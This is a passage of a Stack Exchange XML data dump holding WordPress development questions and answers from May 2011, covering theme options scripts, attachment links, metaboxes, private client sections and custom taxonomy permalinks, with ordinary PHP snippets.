  <row Id="18515" PostTypeId="1" AcceptedAnswerId="18620" CreationDate="2011-05-27T20:41:38.643" Score="0" ViewCount="62" Body="&lt;p&gt;I've got a button in theme options that calls a file called color.php, (the contents of which are below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On certain installations of the theme, the script is generating a 404 error and failing unless I take out everything above the //do something line. Any suggestions on what might be causing it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require('../../../wp-blog-header.php');&#xA;&#xA;if (!is_user_logged_in()){&#xA;    die(&quot;You Must Be Logged In to Access This&quot;);&#xA;}&#xA;if( ! current_user_can('edit_files')) {&#xA;    die(&quot;Oops sorry you are not authorized to do this&quot;);&#xA;}&#xA; //do something&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-05-27T21:06:31.427" LastActivityDate="2011-05-29T10:24:27.630" Title="Call to require('../../../wp-blog-header.php') results in 404 error?" Tags="&lt;theme-development&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="18516" PostTypeId="2" ParentId="18512" CreationDate="2011-05-27T20:53:28.907" Score="0" ViewCount="" Body="&lt;p&gt;It's a lot easier than you might think.  Simply install WordPress into the /blog/ folder.  It will not affect the rest of your site.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-05-27T20:53:28.907" CommentCount="7" />
  <row Id="18517" PostTypeId="2" ParentId="18512" CreationDate="2011-05-27T20:54:02.387" Score="0" ViewCount="" Body="&lt;p&gt;Include &lt;code&gt;wp-load.php&lt;/code&gt; on your page and you'll have access to the WordPress API.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-27T20:54:02.387" CommentCount="3" />
  <row Id="18518" PostTypeId="1" CreationDate="2011-05-27T21:11:55.640" Score="0" ViewCount="92" Body="&lt;p&gt;A common requirement for business sites is to have a client login which allow visitors to access private content for them (ie: downloads, screenshots, documents).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did it in the past and although it worked, I think is a bit messy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need the same functionality in a new site, and want to know if anyone did it and want to share a nice way to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My method was something like:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a custom post type for the private content&lt;/li&gt;&#xA;&lt;li&gt;Create a custom taxonomy for Clients&lt;/li&gt;&#xA;&lt;li&gt;Hook &lt;code&gt;user_register&lt;/code&gt; and add a Client (taxonomy) every time a new user is created&lt;/li&gt;&#xA;&lt;li&gt;Hook &lt;code&gt;template_redirect&lt;/code&gt; and check if it's a single of my custom post type. If it is, check if the logged_in user is in the custom taxonomy for that post. If it is, cool. If not,  &lt;code&gt;header('HTTP/1.1 401 Unauthorized');exit;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any comments?&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-28T09:43:49.880" Title="Best way to have an per-user customized private section" Tags="&lt;users&gt;&lt;private&gt;&lt;privileges&gt;" AnswerCount="1" />
  <row Id="18520" PostTypeId="1" AcceptedAnswerId="18522" CreationDate="2011-05-27T22:07:37.347" Score="0" ViewCount="66" Body="&lt;p&gt;I'm using the code below to first grab the post's attachments (if they're either a Word doc or pdf file), then echoing the url of said attachment. This works great on the first post on a page. However, on each subsequent post the same attachment url is echoed, even if that post doesn't have an attachment. How can I keep that from happening?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;                'post_type' =&amp;gt; 'attachment',&#xA;                'post_mime_type' =&amp;gt; array('application/doc','application/pdf'),&#xA;                'numberposts' =&amp;gt; 1,&#xA;                'post_status' =&amp;gt; null,&#xA;                'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;            );&#xA;$attachments = get_posts( $args );&#xA;foreach ($attachments as $attachment) {&#xA;    echo '&amp;lt;a href=&quot;' . wp_get_attachment_url( $attachment-&amp;gt;ID ) . '&quot;&amp;gt;Download Spec  Sheet&amp;lt;/a&amp;gt;';&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-05-27T22:33:33.260" Title="How can I display a link to a post's (Word doc or pdf) attachment?" Tags="&lt;attachments&gt;" AnswerCount="1" />
  <row Id="18521" PostTypeId="1" CreationDate="2011-05-27T22:26:11.093" Score="1" ViewCount="141" Body="&lt;p&gt;I managed to import wordpress post to Facebook with this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.insidefacebook.com/2009/02/22/how-to-import-your-blog-into-facebook/&quot; rel=&quot;nofollow&quot;&gt;http://www.insidefacebook.com/2009/02/22/how-to-import-your-blog-into-facebook/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i create new post, Facebook doesn't &lt;strong&gt;show any new posts&lt;/strong&gt; after the importation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have a idea how to keep showing the post created in Wordpress to Facebook after the importation ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Sorry, not pretty good in English :/&lt;/p&gt;&#xA;" OwnerUserId="5761" LastActivityDate="2011-07-28T07:20:26.957" Title="Automatically Import WordPress Blog to Facebook Page" Tags="&lt;posts&gt;&lt;rss&gt;&lt;facebook&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="18522" PostTypeId="2" ParentId="18520" CreationDate="2011-05-27T22:33:33.260" Score="1" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;if ( $attachments = get_children( array(&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'post_mime_type' =&amp;gt; array('application/doc','application/pdf'),&#xA;        'numberposts' =&amp;gt; 1,&#xA;        'post_status' =&amp;gt; null,&#xA;        'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;)));&#xA;foreach ($attachments as $attachment) {&#xA;echo '&amp;lt;a href=&quot;' . wp_get_attachment_url( $attachment-&amp;gt;ID ) . '&quot;&amp;gt;Download Spec  Sheet&amp;lt;/a&amp;gt;';&#xA;echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-27T22:33:33.260" />
  <row Id="18523" PostTypeId="1" AcceptedAnswerId="20747" CreationDate="2011-05-27T22:36:45.973" Score="0" ViewCount="30" Body="&lt;p&gt;I need to display a list of results which will include a name, time, etc. They will be in this format: &lt;a href=&quot;http://paponz.org/eventresults/2011McLeans.txt&quot; rel=&quot;nofollow&quot;&gt;results&lt;/a&gt;. I have looked at using tables, but short of writing a script to parse the text file, it wouldn't work. I think the best option is to make them appear in a monospaced font but I cannot find a way to do this that would not require code written on each post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, Will.&lt;/p&gt;&#xA;" OwnerUserId="5493" LastActivityDate="2011-06-22T22:23:32.753" Title="How to display list of results" Tags="&lt;posts&gt;&lt;list&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="18524" PostTypeId="1" CreationDate="2011-05-27T23:10:50.543" Score="0" ViewCount="57" Body="&lt;p&gt;&lt;strong&gt;What I have:&lt;/strong&gt;&#xA;A site of quotes with format: &quot;Quote text.&quot; -Quote Author &lt;br&gt;&#xA;See &lt;a href=&quot;http://quotup.com&quot; rel=&quot;nofollow&quot;&gt;quotup.com&lt;/a&gt; for my test website (my apologies in advance for the testing-profanity).&#xA;&lt;p&gt;&#xA;&lt;strong&gt;What I'm after:&lt;/strong&gt;&#xA;Clicking &quot;-Quote Author&quot; should launch a page of all quotes by that quote author with URL: example.com/SteveStevenson, where Steve Stevenson is the Quote Author.&#xA;&lt;p&gt;&#xA;&lt;strong&gt;What I've done:&lt;/strong&gt;&#xA;Created a custom table called wp_qauthor that is tied to wp_posts by post_meta (qauthor_id).&lt;br&gt;&#xA;Added the following code to functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('query_vars', 'add_my_var');&#xA;    function add_my_var($public_query_vars) {&#xA;        $public_query_vars[] = 'qaid';&#xA;        return $public_query_vars;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Created a link for the Quote Author's name as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://example.com?qaid=2&quot;&amp;gt;Steve Stevenson&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clicking on this link currently loads home.php, but I need it to hit index.php, where I've added this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elseif (get_query_var('qaid')) {&#xA;    $qaid = get_query_var('qaid');&#xA;    query_posts($query_string . &quot;&amp;amp;meta_key=qauthor_id&amp;amp;meta_value=&quot; . $qaid);}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do I tell WP to call index.php when I click the example.com?qaid=2 href?&lt;/li&gt;&#xA;&lt;li&gt;After clicking the link above, how do I get the desired pretty link of example.com/SteveStevenson? &#xA;&lt;br&gt;&#xA;Many Thanks!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5763" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-28T06:37:08.763" LastActivityDate="2011-06-27T11:17:59.713" Title="Permalinks for quote authors" Tags="&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;url-rewriting&gt;" AnswerCount="2" />
  <row Id="18525" PostTypeId="2" ParentId="18524" CreationDate="2011-05-27T23:23:02.807" Score="0" ViewCount="" Body="&lt;p&gt;Q: How do I tell WP to call index.php when I click the example.zom?qaid=2 href?&lt;br&gt;&#xA;A: Well if your talking about the template file as longs as there no template in your theme for author.php you should be fine. Or as long as there are no templates to interfere with loading index.php it should load it by default&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: After clicking the link above, how do I get the desired pretty link of example.com/SteveStevenson?&#xA;Many Thanks!&lt;br&gt;&#xA;A: This can be found under the settings tab in your back-end under permalinks and as long as your server allows mod_rewrite and you have inserted the .htaccess file should work automatically&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-27T23:23:02.807" CommentCount="1" />
  <row Id="18526" PostTypeId="1" AcceptedAnswerId="18545" CreationDate="2011-05-27T23:51:21.087" Score="1" ViewCount="29" Body="&lt;p&gt;I have a massive WXR file im trying to import into wordpress. I run out of memory when i try to import as one file, so I'm thinking of how i can split the big file into smaller files programatically and if anyone had a script to do this&lt;/p&gt;&#xA;" OwnerUserId="5765" LastActivityDate="2011-05-28T09:39:40.160" Title="WXR slicing script" Tags="&lt;import&gt;&lt;scripts&gt;&lt;bulk-import&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18527" PostTypeId="2" ParentId="18474" CreationDate="2011-05-28T00:51:58.750" Score="0" ViewCount="" Body="&lt;p&gt;here's the complete code : if somebody could try it, i might doing something wrong, but i can't find out what. (the whole code is inside a widget page)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; *&#xA; * add meta box : habillage&#xA; *&#xA; */&#xA;add_action( 'add_meta_boxes', 'myplugin_add_custom_box' );&#xA;add_action( 'save_post', 'myplugin_save_postdata' );&#xA;&#xA;/* Adds a box to the main column on the Post and Page edit screens */&#xA;function myplugin_add_custom_box() {&#xA;add_meta_box(&#xA;    'test1',&#xA;    __( 'My test1', 'myplugin_textdomain' ),&#xA;    'myplugin_inner_custom_box',&#xA;    'post'&#xA;);&#xA;add_meta_box(&#xA;    'test2',&#xA;    __( 'My test2', 'myplugin_textdomain' ),&#xA;    'myplugin_inner_custom_box',&#xA;    'movies'&#xA;);&#xA;}&#xA;&#xA;&#xA;/* Prints the box content */&#xA;function myplugin_inner_custom_box() {&#xA;global $post;&#xA;// Use nonce for verification&#xA;wp_nonce_field( plugin_basename( __FILE__ ), 'myplugin_noncename' );&#xA;$met = get_post_meta($post-&amp;gt;ID, 'champ', true)? get_post_meta($post-&amp;gt;ID, 'champ', true) : 'empty meta';&#xA;&#xA;    /* input */&#xA;echo '&amp;lt;label for=&quot;myplugin_new_field&quot;&amp;gt;';&#xA;_e(&quot;Description field : &quot;, 'myplugin_textdomain' );&#xA;echo '&amp;lt;/label&amp;gt; ';&#xA;echo '&amp;lt;input type=&quot;text&quot; id=&quot;champ&quot; name=&quot;champ&quot; value=&quot;'.$met.'&quot; /&amp;gt;';&#xA;&#xA;&#xA;&#xA;&#xA;/* select list */&#xA;echo '&amp;lt;label for=&quot;my_list_field&quot;&amp;gt;';&#xA;_e(&quot;Description for this field&quot;, 'myplugin_textdomain' );&#xA;echo '&amp;lt;/label&amp;gt; ';&#xA;echo '&amp;lt;select name=&quot;my_list_field&quot; id=&quot;my_list_field&quot;&amp;gt;';&#xA;&#xA;print_r ($post-&amp;gt;ID);&#xA;&#xA;global $post;&#xA;&#xA;$s_query = new WP_Query( array(&#xA;'suppress_filters' =&amp;gt; false,&#xA;'post_type' =&amp;gt; 'movies'));&#xA;while($s_query-&amp;gt;have_posts()):$s_query-&amp;gt;the_post();&#xA;&#xA;    $sname = $post-&amp;gt;post_title;&#xA;    $s_output2 ='';&#xA;    $s_output2 .= '&amp;lt;option value=&quot;'.$post-&amp;gt;ID.'&quot; &amp;gt;';&#xA;    $s_output2 .= $post-&amp;gt;post_title.' : allo';&#xA;    $s_output2 .= '&amp;lt;/option&amp;gt;';&#xA;    echo $s_output2;&#xA;&#xA;endwhile ;&#xA;echo '&amp;lt;/select&amp;gt;';&#xA;wp_reset_query();&#xA;}&#xA;&#xA;&#xA;/* When the post is saved, saves our custom data */&#xA;function myplugin_save_postdata( $post_id ) {&#xA;  // verify if this is an auto save routine.&#xA;  // If it is our form has not been submitted, so we dont want to do anything&#xA;  if ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE )&#xA;      return;&#xA;&#xA;  // verify this came from the our screen and with proper authorization,&#xA;  // because save_post can be triggered at other times&#xA;  if ( !wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename( __FILE__ ) ) )&#xA;  return;&#xA;&#xA;  // Check permissions&#xA;  if ( 'page' == $_POST['post_type'] )&#xA;  {&#xA;    if ( !current_user_can( 'edit_page', $post_id ) )&#xA;    return;&#xA;  }&#xA;  else&#xA;  {&#xA;    if ( !current_user_can( 'edit_post', $post_id ) )&#xA;        return;&#xA;  }&#xA;  // OK, we're authenticated: we need to find and save the data&#xA;  //$mydata = $_POST['myplugin_new_field'];&#xA;  // Do something with $mydata&#xA;  // probably using add_post_meta(), update_post_meta()&#xA;  add_post_meta($post-&amp;gt;ID, &quot;champ_key&quot;, 'banana');&#xA;&#xA;return $post_id;&#xA;//return $mydata;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5644" LastActivityDate="2011-05-28T00:51:58.750" CommentCount="2" />
  <row Id="18528" PostTypeId="1" AcceptedAnswerId="18654" CreationDate="2011-05-28T00:55:22.210" Score="0" ViewCount="110" Body="&lt;p&gt;I built a post interface to accept specific data in the form of custom meta boxes [rant]but now the end user says it's too much work to cut and paste 4 times[/rant].  So now (completely out of original scope) I need to parse the data entered into a new text area meta box and assign each line as a value to 2 existing keys, the_tile and a substr 'd excerpt.  (see image)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually it really doesn't need to use the existing keys.  It can use new ones or just be assigned to a new $variable (I would rather parse on save than on query).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The meta boxes are built using a class that handles the saving and updating, I just need to know how to split of the new field.  I also have to conditionally determine if they used the individual boxes or the new text area box.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the meta boxes is for an external url.  I have to check if it exists.  If it's null the the template uses the permalink.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The use case is very specific as all the data is output in specific places on various sized boxes. See below:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ahlxw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order I need to parse the data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;title  &lt;code&gt;&amp;lt;----  I'm saying this one is optional (They still have to enter a post title)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source `&amp;lt;----  meta_key is $prefix.'article-source'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;excerpt &lt;code&gt;&amp;lt;--- the_excerpt but can be a new key&lt;/code&gt;  It can only output 115 characters to avoid breaking the layout.  We also have to check if anything was entered into the real WordPress excerpt box before we decide to do any of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;click-through-url &lt;code&gt;&amp;lt;--- meta_key is $prefix.'external_link&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;All this code works fine.  Just adding it to show how the data is used.&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ($box_query-&amp;gt;have_posts()) : $box_query-&amp;gt;the_post(); global $post; global $prefix;&#xA;&#xA;    $box_size = c3m_get_field( $prefix.'box_size', FALSE );&#xA;    $box_image = c3m_get_field( $prefix.'post_box_image', FALSE );&#xA;    $overlay_class = c3m_get_field( $prefix.'overlay_class', FALSE );&#xA;    $ad_code = c3m_get_field( $prefix.'ad_code', FALSE );&#xA;    $source = c3m_get_field( $prefix.'article-source', FALSE );&#xA;&#xA;    if ( c3m_get_field($prefix.'external_link', FALSE) ) {&#xA;    $post_link = c3m_get_field($prefix.'external_link', FALSE) ;&#xA;    } else&#xA;            { $post_link = post_permalink(); &#xA;    } ?&amp;gt;&#xA;&#xA;           &amp;lt;li class=&quot;ui-state-default &amp;lt;?php echo $box_size;?&amp;gt;&quot;&amp;gt;&#xA;             &amp;lt;article &amp;lt;?php post_class() ?&amp;gt;&amp;gt;&#xA;        &amp;lt;?php   if ( $ad_code ) { ?&amp;gt; &amp;lt;div class=&quot;ad-box &amp;lt;?php echo $overlay_class;?&amp;gt;&quot;&amp;gt; &amp;lt;?php echo $ad_code; } else { &#xA;             echo  '&amp;lt;a href=&quot;'.$post_link.'&quot; &amp;gt;&amp;lt;img src=&quot;'.esc_url($box_image).'&quot; alt=&quot;Image via xxxxxxxxxx.com&quot; /&amp;gt;&amp;lt;/a&amp;gt;'; ?&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;post-box &amp;lt;?php echo $overlay_class;?&amp;gt;&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ( c3m_get_field( $prefix.'text_display', FALSE) ) {  ?&amp;gt;&#xA;&#xA;                        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $post_link?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;?php &#xA;                            if ( $source ) { echo '(' .$source. ') '; }&#xA;                            if ( $box_size == 'double-single' ) { echo substr( $post-&amp;gt;post_excerpt, 0, 300) .'...'; ?&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;?php&#xA;                            } else {&#xA;                            echo substr( $post-&amp;gt;post_excerpt, 0, 115) .'...' ; ?&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the question is How do take 4 cr break lines pasted into 1 meta box and assign a variable to each line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and I'll hang up and listen.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The information pasted will be 4 lines&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First Line:  Title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second Line:  Source&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third Line:  Short excerpt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fourth Line:  Link Url&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example:&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After 4 Years, Egypt Reopens Its Border With Gaza Strip&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;New York Times&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Hundreds of Palestinian residents of&#xA;  the Gaza Strip arrived here by the&#xA;  busload Saturday to pass through the&#xA;  reopened border into Egypt.&#xA;  &lt;a href=&quot;http://www.nytimes.com/2011/05/29/world/middleeast/29egypt.html?_r=1&amp;amp;hp&quot; rel=&quot;nofollow&quot;&gt;http://www.nytimes.com/2011/05/29/world/middleeast/29egypt.html?_r=1&amp;amp;hp&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/xgHSQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That input will look like this on the front end. The title links to the link url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Ms50k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-28T16:47:58.090" LastActivityDate="2011-05-29T19:07:11.317" Title="Parse a text area custom meta box and assign as value to existing meta keys" Tags="&lt;metabox&gt;&lt;post-meta&gt;&lt;cms&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="18529" PostTypeId="1" CreationDate="2011-05-28T01:51:38.627" Score="0" ViewCount="33" Body="&lt;p&gt;I have Lightbox 2 installed and it works for images that are in posts.&#xA;But it doesn't work for images in the sidebar where I'm adding the code below directly into the template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($attachments as $img =&amp;gt;$attachment)&#xA;echo wp_get_attachment_link($img, array(32,32),false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it because it the images are outside the loop? Can anyone direct me to information to figure this one out? Or just confirm that what I'm trying can't be done? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site: &lt;a href=&quot;http://ja-macs.com/sandbox/chm/2011/artist-shows-off-%E2%80%98pop-meets-traditional-style/&quot; rel=&quot;nofollow&quot;&gt;Example page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1960" LastActivityDate="2011-05-28T01:51:38.627" Title="Lightbox not working in sidebar?" Tags="&lt;sidebar&gt;" />
  <row Id="18530" PostTypeId="1" AcceptedAnswerId="18533" CreationDate="2011-05-28T01:54:33.023" Score="0" ViewCount="17" Body="&lt;p&gt;Is there a way to add a hook for a plugin when a new author is added by the administrator?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to add that user to my plugin database table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5767" LastActivityDate="2011-05-28T04:02:19.937" Title="Plugin Hook When New Author Added" Tags="&lt;plugins&gt;&lt;hooks&gt;&lt;roles&gt;" AnswerCount="1" />
  <row Id="18531" PostTypeId="1" CreationDate="2011-05-28T02:17:52.637" Score="2" ViewCount="45" Body="&lt;p&gt;I am looking for a way/plugin to allow visitors to vote on specific links (does this coupon work/does this coupon not work) like Retailmenot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only think of the Wordpress Plugin: Wordpress Pods.  I was hoping to find an easier implementation.&lt;/p&gt;&#xA;" OwnerUserId="5768" LastActivityDate="2011-08-11T08:22:18.217" Title="Is there a Wordpress Plugin that allows voting &quot;does this coupon work&quot; on specific links like Retailmenot" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="18532" PostTypeId="1" AcceptedAnswerId="19870" CreationDate="2011-05-28T02:49:32.920" Score="3" ViewCount="131" Body="&lt;p&gt;I'm thinking maybe limit the number of posts a user can make in a given period of time. (Say a user can only publish 1 post per 5 minutes?)&lt;br&gt;&#xA;Is there such a plugin?&lt;/p&gt;&#xA;" OwnerUserId="5410" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-28T09:43:15.167" LastActivityDate="2011-06-13T11:57:07.307" Title="Restrict the Number of Posts an Author can Publish (over time)?" Tags="&lt;posts&gt;&lt;plugin-recommendation&gt;&lt;author&gt;&lt;publish&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="18533" PostTypeId="2" ParentId="18530" CreationDate="2011-05-28T04:02:19.937" Score="1" ViewCount="" Body="&lt;p&gt;There's &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/user_register&quot; rel=&quot;nofollow&quot;&gt;user_register&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-05-28T04:02:19.937" />
  <row Id="18534" PostTypeId="1" CreationDate="2011-05-28T04:04:42.437" Score="0" ViewCount="15" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/wpsearch/&quot; rel=&quot;nofollow&quot;&gt;the WPSearch plugin&lt;/a&gt; on one of my sites, and it works great.  The exact same site, just on a different server, will install the plugin fine but won't build the index.  When I click &quot;Rebuild Index&quot;, it begins the process but hangs at 14% and then simply refreshes the page and shows only about 15% of my posts in the index.  Could there be a difference in the version of PHP or Zend that could cause this?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-28T09:45:27.510" LastActivityDate="2011-05-28T09:45:27.510" Title="Why can't I build my index in WPSearch?" Tags="&lt;plugin-wpsearch&gt;" CommentCount="1" />
  <row Id="18535" PostTypeId="2" ParentId="18524" CreationDate="2011-05-28T04:58:56.283" Score="1" ViewCount="" Body="&lt;p&gt;Create a custom taxonomy &lt;code&gt;quoteauthor&lt;/code&gt;, activate pretty permalinks, and you get nice URIs automatically. These URIs will not put the author’s name right behind the root, but something like &lt;code&gt;/qa/steve-stevenson/&lt;/code&gt; should be good enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a sample code as a plugin, you can &lt;a href=&quot;https://gist.github.com/996608&quot; rel=&quot;nofollow&quot;&gt;download it on GitHub&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php # -*- coding: utf-8 -*-&#xA;/*&#xA;Plugin Name: Custom Taxonomy Quote Author&#xA;Plugin URI:  https://gist.github.com/996608&#xA;Description: Creates a custom taxonomy &amp;lt;code&amp;gt;Quote Author&amp;lt;/code&amp;gt; with an URI &amp;lt;code&amp;gt;/qa/author-name/&amp;lt;/code&amp;gt;&#xA;Version:     1.0&#xA;Required:    3.1&#xA;Author:      Thomas Scholz&#xA;Author URI:  http://toscho.de&#xA;License:     GPL&#xA;*/&#xA;! defined( 'ABSPATH' ) and exit;&#xA;&#xA;add_action( 'after_setup_theme', 'register_quote_author' );&#xA;&#xA;register_activation_hook(   __FILE__, 'qua_flush' );&#xA;register_deactivation_hook( __FILE__, 'qua_flush' );&#xA;&#xA;/**&#xA; * Registers the taxonomy 'Quote Author'.&#xA; *&#xA; * To list the authors with links in your theme use&#xA; * @link http://codex.wordpress.org/Function_Reference/get_the_term_list&#xA; * &amp;lt;code&amp;gt;print get_the_term_list( get_the_ID(), 'quoteauthor' );&amp;lt;/code&amp;gt;&#xA; *&#xA; * @link http://codex.wordpress.org/Function_Reference/register_taxonomy&#xA; * @return void&#xA; */&#xA;function register_quote_author()&#xA;{&#xA;    register_taxonomy(&#xA;        // Internal name&#xA;        'quoteauthor'&#xA;        // Post types the taxonomy applies to.&#xA;        // The attachment field is not very nice, just a simple input field.&#xA;        // You may tweak that.&#xA;    ,   array ( 'post', 'attachment' )&#xA;        // Visible labels&#xA;    ,   array (&#xA;        'labels'            =&amp;gt; array (&#xA;            'name'                       =&amp;gt; 'Quote Authors'&#xA;        ,   'menu_name'                  =&amp;gt; 'Quote Authors'&#xA;        ,   'singular_name'              =&amp;gt; 'Quote Author'&#xA;        ,   'search_items'               =&amp;gt; 'Search Quote Authors'&#xA;        ,   'popular_items'              =&amp;gt; 'Popular Quote Authors'&#xA;        ,   'all_items'                  =&amp;gt; 'All Quote Authors'&#xA;        ,   'edit_item'                  =&amp;gt; 'Edit Quote Author'&#xA;        ,   'update_item'                =&amp;gt; 'Update Quote Author'&#xA;        ,   'add_new_item'               =&amp;gt; 'Add Quote Author'&#xA;        ,   'new_item_name'              =&amp;gt; 'New name for Quote Author'&#xA;        ,   'separate_items_with_commas' =&amp;gt; 'Separate Quote Authors by comma'&#xA;        ,   'add_or_remove_items'        =&amp;gt; 'Add or remove Quote Authors'&#xA;        ,   'choose_from_most_used'      =&amp;gt; 'Choose from most quoted authors'&#xA;        